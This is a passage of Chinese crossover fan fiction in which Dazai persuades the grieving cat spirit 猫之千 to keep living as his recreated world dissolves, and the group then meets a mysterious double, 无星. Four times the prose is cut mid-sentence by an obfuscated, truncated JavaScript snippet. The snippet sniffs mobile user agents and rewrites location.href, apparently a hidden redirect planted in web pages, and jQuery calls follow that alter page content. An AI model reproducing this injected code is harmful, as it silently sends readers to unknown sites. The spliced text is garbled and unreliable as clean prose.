那双眼睛终于褪去了浮在表面的假象,一双本该如同晴空的眼眸,却盛满了悲伤、痛苦以及不知道是对着谁的仇恨,氤氲成见不到活人的深海。 “可你们这么做的代价是死亡啊,”他用一种破碎的语气轻轻说道,下一刻,他的声音陡然间放大到几乎要撕裂喉咙,“你们都死了!!!” 巨大的声音回荡在林中,周遭的所有方位似乎都在重复着死了这两个字。 但只是一瞬之间,巨大的声音又变成了低声呢喃。 “死了……”猫之千单手捂着脸,失魂落魄地重复着这两个字,“死了……” “死是什么?死是我喊你们的名字时,你们再也不会回应我;死是我想见到你们的时候,身后永远空无一人;死是越回忆越痛,是再也走不出去的那一天,是越来越麻木越来越颓废……” “那段日子我就仿佛沉沦在地狱里,后来我听见了一道声音……我终于清醒了过来,为什么要无用地痛恨呢,我可以把你们带回来,不管用什么办法,我都要把你们带回来!” “于是我开始祈祷,向神明也好,魔鬼也好,向一切伟大的存在祈求,我祈求祂们让我回到从前。” “那代价呢?”盯着他红通通的双眼,玲轻声说道,片刻后突然提高音量,“代价就是你自己你这个傻瓜!” “我当然知道,每一个愿望的实现都需要付出代价,更何况是我这样庞大的愿望,但付出什么代价都无所谓,只要我的愿望能实现就够了。”猫之千执拗地说道。 “可是我不希望你死掉,千酱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869802|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”横空突然插入一道带着泣音的声音。 在听到那道声音的同时,猫之千感觉自己的背上多了一份温暖的重量,两只手从背后环绕到他身前,抱住了他。 是左耳,他激动地从后面扑了上来,撞得他身体往前打了一个踉跄。 “是啊,我也不希望你就这么死掉,千酱……” 前头也传来了一道叹息声,猫之千抬起头,发现右耳就站在他身前,正担忧地望着他。 夹在这两个人之间,猫之千眼神恍惚起来,有多久没有再次感受过这样的温暖了呢? 有那么一瞬间,他是想答应下来的,但是很快,过去那段噩梦般的时光再次光顾了他的脑海。 他的眼神在软化了一下后又立刻坚定起来,“我……” “就算你想就这样下去也是行不通的哦。”不远处传来一道声音打断了他。 左耳和右耳放开猫之千,应声望去,面色严肃的太宰从树后走了出来,他身后还跟着五条悟和沢田纲吉两个人,三人在原地停顿片刻,向着他们的方向走了过来。 “这个世界最多持续七天,持续到庆典开始的前一天,也就是你们被……”太宰一边说一边行进,说到这里的时候刚好走到他们几个近前,眼神在玲,左耳,右耳三个人身上转了一圈后,他将即将说出口的那个词语含糊了过去,“……的那一天。” 话音刚落,猫之千的眼神一变,身体晃了晃,虚弱地反驳道:“不会的……不会只有这么短的时间……” “你祈求的那个神明没有告诉你吗?”太宰怜悯地看了他一眼,“用游戏来比喻的话,这里就是一个专供玩家通关的副本世界。” “不过这里是截取真实发生过的事件作为世界剧情,即你们要办庆典的消息传出后引来那伙黑衣人攻击你们这件事,且出现在这里的npc并不是意识受控的工具人罢了。” “但也许,让像你们这样的人担任npc是一件更恶劣的事情,”他垂下了眼,“无知无觉地消失,如同这个世界没有觉醒的其他人一样,也许更幸福也说不定呢。” 五条悟突然看向了他,无知无觉地消失……这也是你的心愿吗?不,一定不是这样的,他想起了那一声微弱的呼唤……至少,至少这家伙的心里还存在着一丝希望。 即使那一丝希望非常飘渺…… 似乎没注意到他的目光,太宰抬起眼帘,再次望向猫之千,“你一开始的失忆不是意外哦,副本需要保证主要事件的大致脉络不变,所以把你的记忆屏蔽掉了……也许还伪造了不少记忆呢。” “谁知你对那件事的印象实在太深刻,那伙黑衣人在你面前重施旧计,一下子就把你刺激得找回了所有的记忆。” “不要说了,不要说了……”灰白发色的少年突然抬起双手,捂住双耳,上下牙齿战栗般地磕在一起,嘴唇嗫喏着,一遍遍强迫自己般挤出这句话,说着说着他的全身都开始颤抖,“不要说了、不要说了、不要说了……” “不要说了!”他的眼睛睁得极大,崩裂的眼角甚至又开始往下流血,“我不想听!!!” 51.活下去 他望着太宰的眼神不像是在看着他这个人,而是透过这个人在看着什么让他极度害怕的东西。 太宰垂下眼眸,时间整整停顿了两秒,谁也不知道此刻他在想什么,两秒之后他再次抬起眼帘,但那纤长浓密的睫毛却又像是一把小刷子,遮住了他眼底所有暴露出来的思绪。 “你大概已经知道我要说什么了吧?”他轻轻地叹了口气,“但即使我不说出来,你害怕的事情也还是会发生哦。” “千酱……”左耳拉住猫之千捂住耳朵的手,往下施力,慢慢地把他的手拉下来,露出苍白的耳朵,“害怕的话就握住我的手,我们一起听下去,好吗?” 右耳就在在另一边,拉住他另一只手,和左耳做出了一样的动作。 被两人握住手的那一刻,猫之千似乎有过挣扎,又似乎没有过挣扎。 不管如何,他最后几乎是顺从地被拉下捂住耳朵的手,在这个过程中,他停止了全身颤抖,眼角也不再流血,之前滴落的血液凝固在鼻梁一侧,就像是一滴欲落不落的泪珠。 垂在两侧的手,分别被另一个人的手紧紧握住,灰白发色的少年似乎被安抚了下来,但仔细看的话就会发现,他的手背上暴起了几条青筋,像是不安的蚯蚓在爬。 太宰看了他们三个一眼,继续说道:“受到你这个主要人物恢复记忆的影响,另外三个……” 他挨个指了一下在场的另外三个猫妖,“也觉醒了生前的记忆,副本世界到此为止其实已经崩坏了一部分。” “其主要表现就是把你的真实样貌显现了出来,要不然你不应该是这副模样才对。” “一个错误会造成另一个错误,基于多米诺骨牌效应,接下来这个世界如果继续下去,那它终将会以何种形式彻底崩坏,连我也猜不到呢。”他摊了摊手。 “这是一方面……”说到这里,太宰顿了顿,片刻后用平淡的语气说道:“另一方面,副本世界总有通关的时候,不管玩家是通关成功还是通关失败,那个通关的时间点即是你们这个世界消失的时间点。” “而我——,”他顿了一下,“就是那个被拉来接受考验的玩家。” “同时我也拿到了通关的钥匙……”太宰忽然走近几步,前倾身体,手轻轻地放在猫之千灰白的脑袋上,“就是这样,你明白了吗?” 在之前摸到他脑袋的那一刻,太宰的脑海里浮现出这样一行模板化的说明—— 【题名:虚幻亦或现实,过去还是未来?】 【任务:在宴会开始之前抓到猫之千。】 【结果:任务成功】 【奖励:标签『黑猫』】 【备注:在一无所知且占据被动地位的时候反客为主,成功赢下主线对抗任务,值得嘉奖,不过我很想知道,你是天生自带对生物高魅力的因果律武器呢,还是……身上流着顶级魅魔的血统?】 同时,他那个由黑猫变成人之后的时间限制也消失了,所以他才能在这么长的时间里一直以人的形态活动。 顺便一提,当时的太宰一看到这个备注就不由得吐槽了一句:备注君真是失礼呢,不能是我用自己的人格魅力使别人心悦诚服吗? 另一边,感受到头顶那份重量的那一刻,猫之千忽然怔住了,表情就仿佛是被人当头打了一棍一样。 是的,他想起来了,那个时候因为记忆恢复的冲击,他把全部精力都放在了那些他还活蹦乱跳的同胞们身上,忘掉了自己身上还背负着一个主线对抗任务。 当太宰摸着他的脑袋安慰他的时候,他就已经输了。 【题名:虚幻亦或现实,过去还是未来?】 【任务:阻止太宰治在宴会开始之前抓到你。】 【结果:任务失败】 【惩罚:永远失去人身自由】 【备注:啧啧,瞧你这不值钱的样子。】 也许他可以狡辩说那不是抓,但其实在他按照太宰的意思行动的那一刻,他的心就承认了他,也就相当于被他抓到了。 这场对抗是他输了。 他输掉了他的一生,也输掉了这个世界。 其他的还好说,可是,这个世界、这个世界…… 这个世界是他仅有的宝物啊,即使只是他用自己的一切强求来的,他也绝不愿意就这样失去他们! 可是、可是…… 就像是知道最不想失去的人最终还是被下达了病危通知书一样,灰白发色的少年艰难地转过头,用布满血丝,染上阴翳,几乎变成灰色的眼眸慢慢地,挨个望了一眼围着他的几位同胞。 关切地看着他的左耳和右耳,冷着脸的玲,明明他们就在眼前,可三个人的身影却变得越来越模糊,让他渐渐看不清真切。 最后,倒映在他眼里的几道身影变成了一道冉冉上升的薄雾,飘飘渺渺地随着风飞上了高空。 握住另外两个人的手也空了一块,猫之千的双眼骤然睁大,猛地向着薄雾离开的方向扑去,他一边跑一边极力伸长两只手,五指张得极大,胡乱抓向薄雾。 他一定要把那几缕薄雾都留在自己的手心里! 然而,雾气被他这么一抓,反而以更快的速度散去,慢慢的,慢慢的在他眼前消散于无形。 那一刻,天空似乎在晃动,大地也在旋转,猫之千颤着嘴唇,死死地盯着薄雾消散的地方,霎那间,他只觉得自己的身体变得轻飘飘的。 腿一软,他睁着一双无神的眼睛,摇摇晃晃地倒了下去。 “千酱——!”“千酱!”“猫之千!” 三道声音乱七八糟地混在一起,几只手伸了过来,扶住他倒下去的身体。 “你没事吧?”“你怎么了?” 传到耳朵里的声音好熟悉,背上也有熟悉的温暖袭来,猫之千缓慢地眨了一下眼睛,映入眼帘的不是以前时常来拜访的薄雾,而是真真切切,有温度有表情的同胞。 可是…… 他一把推开所有人的手,摇晃着强自站了起来,突地望向站在十米之外的太宰,这个把一切假象撕开,冷酷地逼着他认清真相的人。 “为什么要让我知道得这么清楚?”猫之千质问道,带着他沉淀了大片大片阴云的眼,带着他凄惨无比的笑,“为什么不能让我无知无觉地和这个世界一起消失?” “为什么非要违背我的心愿,我只是想和大家在一起,即使是死掉也无所谓,就是这么一个简单的愿望……”他歇斯底里地怒吼道,“你为什么就是不能满足我?!!” “因为……”太宰扫了其他猫妖一眼,垂下眼,顿了片刻后,他抬起头,犀利的视线如同一把手术刀,直插到猫之千心底的最深处,“你的愿望……那个被你深埋在心底的愿望,真的是这样吗?” “什么?”在场除太宰之外的所有人或明显或隐晦地惊住了。 “痛苦催生出沉浸于假象的意识,真相则催生出撕裂假象的刀。” “你不是真的死掉也无所谓。”太宰的瞳孔中仿佛映出了一幕幕血色场景,“我在这方面有很多经验,是半个生死专家哦~” 五条悟突地望向他,一双蓝眸泛起微光,注视着他的眼神比任何时候都要更加专心。 “撇开一切你自己附加在自己身上的东西,你内心最真实的想法,其实并不是想死。” “你只是活得过于痛苦了,痛苦超过了你可以承受的阈值,让你假装成宁愿自己死掉也要和他们团聚。”太宰继续说道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874380|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“左耳,右耳,玲他们三个以及其他猫的身上其实都被寄托了……”他顿了一下,“你的一缕想要活下来的意志。” “想对亲近的人倾诉,想回到变故之前的生活,想要获得简单的快乐,不想心脏里永远承载着的是麻木和空洞,不想回想起来的记忆皆是痛苦,更加不想日复一日地沉浸在愤怒和仇恨中。” “这些都在明明白白地对我说……”他轻轻地道,“——你想活下去啊。” “你只不过是……”太宰微闭眼睛,一阵风吹过,吹起他散落在额前的乱发,把他隐约带着一点温柔的声音带回到呆楞住的众人耳边,“不知道该怎么继续活下去罢了。” 这话一出,猫之千的全身不自觉地战栗起来,就像是被一道雷电击中了一样。 “不知道该怎么活下去的人,并不只有你一个。”太宰睁开眼睛,鸢色的瞳定定地望向猫之千。 “当身陷伸手不见五指的黑夜时,也许我们走的每一步都带着万般犹豫,也许我们拥有的只是迷惘的权利……” “无论怎样都好,我们最终还是必须前进。” “要走到哪里去?不知道,什么时候才能摆脱这份黑暗?不知道。我们唯一能做的,只有前进,前进,再前进。” 他一步一步向前走去,“妄图通过复刻过去,简简单单地就获得活下去的理由,这种偷懒的行为,真是无论如何都让人喜欢不起来啊。” “你这样做,仅仅是在敷衍你自己而已。” “我的话,无论是痛苦还是辛苦都很讨厌呢,所以还是知道一点这种想要逃避的感觉。” “逃到最后,只会逃无可逃哦,”说到这里,太宰话锋一转,“可说到底,这是你自己的人生。” “你的痛苦,你的自责,你的绝望,你的悲伤,这些东西谁也不会和你拥有同样的感受,”他顿住脚步,垂下眸子,轻叹了一声,“谁也不会啊。” 叹息的声音传到了在场众人的耳朵里,猫之千的表情一直在发生变化,他想反驳,张了张嘴却一句话都没能说出来,左耳和右耳时而担心地看一眼猫之千,时而惊讶又敬佩地看一眼太宰,目光在两人之间来回打转,和他们隔了一段距离的玲则是盯着地面,谁也没看。 一直专注地望着太宰的五条悟,那双苍天之瞳里,闪过几缕复杂的思绪,纲吉则是跟着叹了口气。 “无论是谁,都不能代你承担你自己的人生。”太宰抬起眼帘,目光仍然停驻在猫之千身上,提起脚步向着他的方向继续前进,“你只能独自消化这一切,想必就算这次活下来,以后也肯定会活得很辛苦吧。” “即便是这样……” “即便是这样,你真的确定……”最后一步时,他走到了猫之千的面前,前倾身体,在他耳边轻声说道:“要抱着虚幻的旧日,抛却现实中的一切,向无情的命运投降,在这里独自死去吗?” 猫之千的表情凝固住了,整个人仿佛成了一块没有生命的雕像。 万籁俱寂,就连风都停止了流动。 “你真的确定……”打破了这股静寂的是太宰的声音,他直起身体,视线直直地撞进猫之千凝固住的眼里,“要同你一厢情愿幻想出来的过去,一起埋葬吗?” 咔嚓!雕像的表面隐隐出现了一条裂缝,片刻后,灰白发色少年的表情突然整个垮掉,像是失去所有力气一般,他跪倒在地上,失声痛哭起来。 “对不起……对不起……对不起……” 他不停地重复说着对不起,一边哭一边说,眼泪大颗大颗从那双蔚蓝的眼睛里流出来,洇湿了整个脸颊,在空中划出一条线,一串串砸在绿色的草地上。 ——这份对不起的心意,又是为了谁而诉说呢? 52.那一天化作光 哭声仿佛充斥了整个世界,纲吉的眉头紧锁,表情隐隐不忍,望着哭得眼泪和鼻涕全都流了出来,身形瘦弱得如同一根枯木的灰白发少年,他叹了口气,正打算上前一步去安慰他的时候,被不知何时回来的太宰抓住了手臂。 纲吉不解地望过去,却只见到太宰线条沉静的侧脸,和望着天边的,鸢色的瞳。 那种颜色,就像是深秋时分从枝头飘落的枯叶一般。 太宰垂下眼,用微带点恹恹的声音说道:“不用去安慰他啦,他这声对不起里包含的一层意思是,他想通了,他决定活下去了哦。” “不信你看。”他朝左耳的方向示意般地点了点头。 纲吉往那里看了一眼,左耳和右耳的脸上满是肉眼可见的喜悦,他们蹲了下来,围在形容凄惨,委顿在地,悲伤哭泣的少年旁边,不停地说着什么,似乎是在安慰他。 只是他们越安慰,少年哭起来越凶。 如同一副构造绝妙的油画,画上几个人在好几个不同的方面形成鲜明的对比,其中流露出的浓烈情绪估计一眼就能抓住路人的眼球。 同一时刻,太宰的脑海里传来一道机械的声音——【破解隐藏剧本主题】 破解隐藏剧本主题?隐藏……这里用了隐藏一词,隐藏对应的是明示,这么说来应该还有明示剧本主题,也就是一开始就明明白白地说清楚主题是什么。 有没有可能,不管是隐藏还是明示,什么主题都没有呢?以他的游戏经验,应该也有这种可能。 剧本……对这种世界的正确称呼原来是剧本吗? 主题……也就是说,这种有主题的剧本世界,事件脉络是围绕着主题发展的,事件起因也和主题有关。 如果一开始就说清楚剧本主题是什么,针对性地处理,应该会比现在简单太多。 一瞬间针对这几个字眼头脑风暴了许多许多,考虑完这几个字隐含的意思,太宰才开始思考这句提示的内容。 被隐藏起来的剧本主题是猫之千想活下去这件事?不对,他的本心是想活下去的,只是日复一日变本加厉的痛苦让他自己欺骗了自己,伪造出不想活下去的假象。 那就是,让他承认自己内心的真实想法,不再用假象麻痹自己并且振作精神这件事? 大约就是这样了。 这个世界为什么总喜欢给他搞马后炮这种事?主线任务加上剧本主题这两件事,每一件都没有给他半点提示,都是等他误打误撞地完成之后,这才姗姗来迟地提醒一句,你做的对。 他像是很需要这种事后提醒吗? 嘴角微微下撇,太宰松开抓住纲吉的手,绕过哭得不能自已的猫之千,走向孤零零站在一边的玲,五条悟一只手插在裤兜里,漫步跟在了他后面,前方的太宰既没有停下来,也没有回头。 玲是在猫之千开始哭着说对不起的时候离开的,她来到了树林边,站在一颗大树下,距离围成一团的三个猫妖大概几十米远。 她的手里捻着一片叶子,此时正颇为无聊地捻着叶子柄转来转去,眼睛望着猫之境的方向,神情恬淡,那种表情,仿佛毕生心愿已了,再出现什么变故都无所畏惧了。 当太宰治和五条悟两个人走到她面前时,少女很快回神,转而望向了他们。 “……你们都听到了?”她说。 太宰迅速明白了她说的是什么,点了点头,“啊……听到了。” 她说的是那段自己对着猫之千说出的,充满了个人情绪的剖心宣言。 五条悟不知道这个时候该说什么,也点了点头。 “本来不想让你们知道的……”玲低下头颅,手里转着的叶子突然加快了速度,变作一团小旋风。 “不过既然都已经到这一步了……”她再次抬起头来,脸色已然恢复平静,“让你们记住我是个什么样的猫也不错。” “只有猫之千那个讨厌的家伙记住我,那该多寂寞啊……” “就交给五条老师我吧,”五条悟忽地咧开嘴,冲她露出招牌笑脸,同时双手向上举起,做出一个搞怪的姿势,“五条老师会记住教过的所有学生哦~” “五条老师,你……”看着他,玲噗的一声笑了出来,她用双手捂着脸,笑着笑着,身体微微颤抖,声音变得越来越大,“你怎么到了这个时候还是这样啊……” “不过,我很喜欢这样的五条老师哦。”玲放下双手,露出微红的眼眶。 “顺便一提,五条老师的照片非常受欢迎,有大把的人想找我要呢……”她努力扬起嘴角,右手抬高,两指并起,在自己的脸边比了个耶,“我一张都没卖!” “可惜,没有和五条老师的合照,”说到这里,玲放在颊边竖起的两指弯了下来,她的目光往下飘,嘴角也维持不住刚刚那样欢乐的弧度,“我还想和大家一起拍一张照片,就当是纪念我们这些……” “我们这些从前不可能见到面的人……”她盯着地面,声音越来越低,就像是在说一个触不可及的梦,“意外相聚的这一天。” “可以哦,现在就照吧。”太宰突然掏出一个黑色手机,在她面前晃了晃。 “欸——?”玲猛地抬起头,一双眼睛都瞪圆了,“现在?” “等等,那好像是我的……”站在太宰旁边的五条悟张大了那双漂亮的蓝眼睛,在自己的外套兜里掏了掏,果然,放在那里的手机不见了,“喂你是在什么时候拿过去的?” “就在刚刚啊,”太宰冲他歪了歪头,一脸无辜地道,“没想到五条老师这么不防备我呢,很轻易就到手了哦~” “你这家伙……”五条悟伸出手去捏了捏他的脸,倒也没有再说什么。 “总觉得这笔交易有点不划算……”太宰气闷地揉了揉自己的脸,把手机丢回到五条悟手上,“你先来给我和玲拍合照,我再给你和玲拍合照,最后大家一起拍一张照片……” 他在玲的头顶双耳处比划了一下,“保证拍出来的照片加起来有玲这么高~” “好啊!”玲擦了一下眼角,笑着答应下来。 咔嚓,五条悟给太宰和玲拍了一张照片,照片上的两个人都笑得极为灿烂,看不出一个是个喜欢自杀的人,另一个……则是即将消失的人。 换成太宰拍,咔嚓,五条悟站在玲的身边,比她高了一个个头都不止,看起来很不搭调,尽管如此,照片的氛围却很是和谐。 再把大家都喊过来,太宰告诉他们要拍合照这件事,听完后大家都点了点头,猫之千也尽量弄干净那张被泪水还有别的什么弄花了的脸,几个人笑着一起拍了一张合照。 照片上分为两排,前排从左到右,分别站着右耳,左耳,猫之千,玲;后排同样的顺序,则站着五条悟、太宰治、沢田纲吉。 然后是两人照,三人照,他们尽情地拍了一会儿照片,大家都贡献出自己的手机,交给别人帮拍,或者自己帮别人拍。 咔嚓声和笑闹声不断响起,拍到最后,都不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877176|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道谁拿的是谁的手机了。 拍完十几张照片后,猫之千似乎下定了决心,同玲打了个招呼,在她耳边说了一句话,再招呼左耳和右耳走到一边。 三个人站在离大部队大概几十米的地方,绿草茵茵,河水潺潺。 “对不起,”站在水边的猫之千一开口便是又一声对不起,头也压得低低的,“……我恐怕要违背自己的诺言了喵。” “千酱,你别这样啦,”他对面的左耳仍然笑得很开心,“我们早就该消失了,还能活过这几天是托了你的福呢。” 他掰着手指计算,“不仅出去吃到了好东西,还认识了新朋友,去过赌场……”站他身边的右耳瞟了他一眼,“非常刺激,被黑衣人追杀……这个不好,害我担心右耳哥……”右耳又瞟了他一眼,“不过那伙坏蛋最后都被五条先生他们帮忙抓住了,结果也不错啦……” “我很开心哦~”他笑嘻嘻地说,手肘悄悄地在右耳的腰上戳了一下,“右耳哥呢,你就没什么想说的吗?” “我想说的都被你说完了,你可以代表我们两个。”右耳很高冷地回应道。 “太敷衍了啦!” 右耳走上前,一只手搭在猫之千的肩上,轻轻地拍了拍,“以后……恐怕要你自己一个猫继续走下去了,在适当的时候,也许可以向太宰求助,我和左耳都相信他。” “嗯嗯。”左耳猛猛点头。 猫之千的眼睛迅速红了起来,眼看着就要再次掉小珍珠。 “行啦,就到这里吧。”右耳抱了抱他。 下一刻,左耳忍不住也扑上来抱住了他,那始终欢快的嗓音终是带上了哽咽声:“千酱你记得要保重自己哦,要好好吃饭,要好好锻炼能力,最重要的是,要带着我们的份好好活下去!” …… 猫之千拉着左耳他们去私聊的时候,太宰再次走到了玲的面前,开门见山地说道:“喏,你的铃铛,这次要记得保管好哦。” 他伸出了一只手,手心上躺着的还是那个熟悉的银色小巧铃铛。 玲看了铃铛一眼,仍然没有去接,“太宰你那么聪明,应该早在我第一次无声拒绝之后就明白了我的意思吧?” “明白是明白啦,”太宰很令她意外地露出了一个不解的表情,“但为什么是我?” 玲看着他,忽然扑哧一声笑了出来。 “你的身体……”太宰突然蹙起眉头。 玲低下头看了一眼,她的身体从脚掌开始,从下到上渐渐化作了光,看来是猫之千终于决定收手了。 她满不在乎地抬起头,“就是要消失了而已,没什么大不了的,又不是第一次了,这次至少我一点都不痛苦。” 说话间,那凶猛的白光已经蔓延到了她的上半身。 “铃铛我送给你了,至于为什么是你……”玲莞尔一笑,对着他俏皮地眨了一下眼睛,一如初见,“你猜~” 白光完全淹没了她,但最后一句话的余音仿佛仍然回荡在太宰的耳边。 太宰猛地攥紧手掌,再次张开手掌的时候,那个铃铛竟然还好好地躺在那里。 只来得及看一眼,他就被骤然大盛的白光刺激得再次闭上眼睛,刚刚,周围一切物事都化作了白光,满眼白光晃得所有人都睁不开眼睛。 在这个万物都被强制静音的世界里,突然,一道欢欣雀跃,听起来有点熟悉的清朗男声在他们的耳边响了起来—— “欢迎……来到我的世界~” 53.无星的世界 声音落下的下一秒,太宰蓦地睁开眼睛,睁眼后的第一件事就是仔细环顾周围一圈。 还在的人有他,不知道什么时候来到他身边的五条悟,站在他后面大概十米位置的沢田纲吉以及跪坐在沢田纲吉旁边的猫之千。 玲、左耳、右耳都消失了。 他们出现在一个类似教堂的房间内,装修得富丽堂皇,两排长座椅横亘在左右两侧,中间是一条可供四人并行的道路,道路两侧每隔着一定空间都竖着一根柱子,柱子应该是用类似大理石的材质做成的,排列统一而有序。 中间那条道的最前方是一块大概一百平方米的长方形空地,他们就站在那里,再往上是一排光滑的玉石阶梯。 没等他观察完毕,前方突然横插过来一个身影,比他高了半个头的人挡住了他向上看的视线。 挡在前面的是五条悟,同时身后也传来纲吉惊讶的声音,“太宰君,你你你……” “太宰原来你真的是个成年人啊,”五条悟突然靠了过来,他倾着上半身,白毛脑袋凑到了太宰面前离得极近的位置,鼻尖几乎要碰上他的鼻尖,那双蓝得发亮的眼珠子左看右看,就像是在看一个新奇的玩具一样,“哇,简直是等比例长大~” 对方的呼吸声近在咫尺,清晰可闻,只怕稍微一动作就能碰在一起,太宰微微蹙起眉头,脑袋向后退出半步的同时,抬起一只手,一把将挡住他视线的大高个推开,然后低下头看了看自己。 181的身高,卡其色长风衣,浅蓝色衬衫,黑色马甲和黑色西裤都回来了,当然也少不了绑着全身的白色绷带。 他变回了任职武装侦探社时,准确点说是进入这个剧本世界之前的模样,两边卷起的风衣袖子还是那副被布偶猫挠得破破烂烂的样子就是证据。 那副16岁猫耳少男形象于一秒之前消失了,变动的过程无声无息,如果不是视野发生了变化,他也不会发现自己变回了原样。 “看够了吗?”太宰突然转头,微微勾起唇角,意味不明地看着五条悟。 “……”五条悟竖起双手,冲他眨了眨眼。 扶了扶额,太宰一边将手里攥着的铃铛放进风衣外套的口袋里,一边将目光转向正前方,沿着刚刚中断的阶梯继续往上观察。 他在心里数了一下,白玉阶梯总共十阶,阶梯的尽头,一个像是王侯才会使用的华丽黑红色王座放在那里。 那个王座上…… “又一个太宰君!”纲吉惊呼的声音比第一次还要大,清晰地传到了所有人的耳朵里。 他们在通缉令上见过一眼的太宰正歪坐在那里,他闭着眼睛,脸上带着浅浅的微笑,头发一侧仍然别着那个漂亮的带花纹半脸狐狸面具。 左手曲起,手肘抵在王座的雕花扶手上,手掌撑着下颌,两条长腿交叠,长长的黑风衣罩住他的身体,像是陷入了一场甜美的酣梦。 纲吉的话音刚落,王座上的太宰缓缓睁开了眼睛,似乎是被他的声音吵醒了一样,他的左眼是鸢色,右眼是黑色,也同通缉令上的画像一模一样。 睁开眼睛的太宰,脸上的浅笑如同被太阳照到的薄雪一般顷刻融化。 他扫了一眼底下,眼里没有半个人的影子,像是视他们为无物一般,张开嘴,清冷的声音在大殿内响起:“自我介绍一下,我名为无星,你们可以称呼我为无星君。” 太宰微微皱起眉,鸢色眼眸紧盯着王座上的人,在他身上来回扫视,耳边有轻微的脚步声响起,旁边的五条悟似乎靠过来了一步。 “我的能力失效了,无下限术式不起作用。” 轻若蚊蝇振翅的声音传到了他的耳朵里,太宰不动声色地微微点了点头。 恰在此时,自称无星的人礼貌般地微微一笑,“不要做小动作哦,我知道你们的能力都失效啦~” 距离这么远也能听见我这么小的声音?五条悟蹙起眉头,六眼超出常理的视力在这里似乎也失效了,回归成一双普通的眼睛,没看见刚刚他有什么动作。 沢田纲吉一惊,握着拳头试了试,头上那一缕火苗始终没有遵从他的意志出现,果然,连他都不能发动超死气模式了。 “是你!”猫之千爬了起来,看着台上人的蓝色眼眸里,却不是全然的愤恨,诸多情绪交杂其中,复杂得难以一一厘清,“为什么你不告诉我愿望实现的过程会这么短暂?也不告诉我我会失忆?不该是这样、不该是这样……” “千君,”无星打断了他,“虽然我号称能实现任何人的愿望呢,但是愿望和实际之间差了这么一点点……” 他没改变姿势,仍然懒懒地斜靠在椅背上,抬起空着的右手,大拇指和食指伸直,其余三指曲起,做出捏着什么东西的手势,“不是很寻常的事情吗?你应该能理解吧?” 不待猫之千回答,他继续说道:“不能理解也没关系哦,我没指望丢掉脑子的生物做出理解这种高级行为呢~” 猫之千的眼神陷入恍惚。 “嘛,你我的交易早已两清,你最后的作用就只是把我想要见的人带过来而已,从这一点上来看,你还是有那么一点功劳在身的。” 才说完,无星垂下眼,话锋一转,恹恹地道:“虽说如此,我也已经对你失去兴趣了呢,所以,你最好识趣一点安静闭上嘴,要不然……” 说到要不然的时候,无星突然勾起了一个微笑,只是那笑容看着冷冷的,透着刺骨的寒意。 猫之千没说话,他抬起一只手,重重地按在太阳穴上,眉头皱得老高,神情痛苦,但视线仍然片刻不离坐在顶端的人。 “太宰……治,你终于来了……”无星满足地喟叹一声,视线在台下转了一圈,一改先前的姿势,坐正了一点,异色的眼眸弯着,神情是一种奇异的高兴,“我已经……已经等你很久很久了。” 不像是纯然的高兴,也不像是完全假装出来的,他脸上露出的这份笑容里似乎参杂了很多……很多太宰现在还看不透的东西。 说完那句后,无星站了起来,黑色风衣一角拍在他的腿上,脚上的皮鞋跟嗑在玉石台阶上,发出清越的叮叮声。 “过去的每一天,我总是在想,为什么你还没来呢?但后来……”他一步一步地沿着玉石台阶往下走,“我就不想了,我决定要靠着自己的力量把你带过来见我。” “所谓的靠自己的力量把我带过来,”太宰微勾起唇角,冷冷地说,“就是强行把我和其他无辜的人卷入这场你营造出来的剧本世界里,并指望我在一无所知的情况下最后胜出,然后主动送上门?” “当然,如果连这一点你都做不到……”无星意味深长地笑了笑,“你就不是太宰治……也不是我要找的那个太宰治了。” “您见客的门槛还真是高级呢,”太宰扬起了一个讽刺的笑脸,“看来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881802|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一点本事是不能上门当您的客人啦~” 此时无星终于走下台阶,开始向着太宰所在的方向迈步,他的脸上仍然挂着一副面具般的笑容,但随着越走越近,那个笑容突然泄露出一点癫狂的意味,叫人看了简直不寒而栗。 